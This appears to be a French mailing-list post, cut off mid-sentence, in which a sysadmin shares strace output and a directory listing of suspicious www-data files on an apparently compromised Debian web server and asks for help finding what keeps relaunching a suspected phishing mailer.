ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
connect(3, {sa_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("18.216.210.232")}, 16) = -1 ETIMEDOUT (Connexion
terminée par expiration du délai d'attente)
close(3)= 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
ioctl(3, TCGETS, 0x7fff7e181460)= -1 ENOTTY (Ioctl() inapproprié
pour un périphérique)
lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
Vu ce que je trouve dans le répertoire cwd de l'un des processus
(/tmp/.wwwodsfidsfe) :
# ls -alR
.:
total 8084
drwxrwxrwx 3 www-data www-data4096 23 juin 08:50 .
drwxrwxrwt 10 root root 36864 23 juin 09:56 ..
drwxr-xr-x 2 www-data www-data4096 23 juin 09:56 fs
-rw-rw-rw- 1 www-data www-data 8218683 23 juin 08:49 gg.tgz
./fs:
total 14928
drwxr-xr-x 2 www-data www-data4096 23 juin 09:56 .
drwxrwxrwx 3 www-data www-data4096 23 juin 08:50 ..
-rw-r--r-- 1 www-data www-data 24565 4 août 2022 1.html
-rw-r--r-- 1 www-data www-data 3014144 23 juin 08:50 abe
-rw-rw-rw- 1 www-data www-data 26 23 juin 09:56 bb
-rw-r--r-- 1 www-data www-data 34 3 août 2022 d
-rw-r--r-- 1 www-data www-data 26098 22 juin 09:10 da.html
-rw-rw-rw- 1 www-data www-data 33699 23 juin 09:55 di.html
-rw-r--r-- 1 www-data www-data 9235803 17 févr. 2022 git
-rw-rw-rw- 1 www-data www-data 29 23 juin 09:35 has
-rw-r--r-- 1 www-data www-data 43777 3 août 2022 me
-rw-r--r-- 1 www-data www-data 246233 14 juil. 2022 ok
-rw-r--r-- 1 www-data www-data 2598092 3 août 2022 ola
le truc en question doit être un genre de serveur de mails qui envoie du
pishing à la terre entière. Ces deux processus sont lancés par un script
sh qui reste dans l'état de zombie très longtemps. Le parent est init
(tant qu'à faire). Je n'arrive pas à trouver par quoi ce truc est lancé
périodiquement. Sans doute un processus avec les droits www-data.
Sur cette machine, les seules choses tournant avec les droits www-data
sont :
- un serveur apache2 (debian/testing)
- php 8.2 (et 7.4 pour un blog b2 evolution)
- trois sites SPIP (4.1.10 à jour, y compris les plugins)
Je n'ai rien trouvé dans le cron, rien dans les tâches planifiées des
sites en question, rien dans les logs. Je ne sais plus où chercher.
Si je tue ces deux processus, au bout d'un certain temps, ils
reviennent.
Ma question est donc assez simple ;-
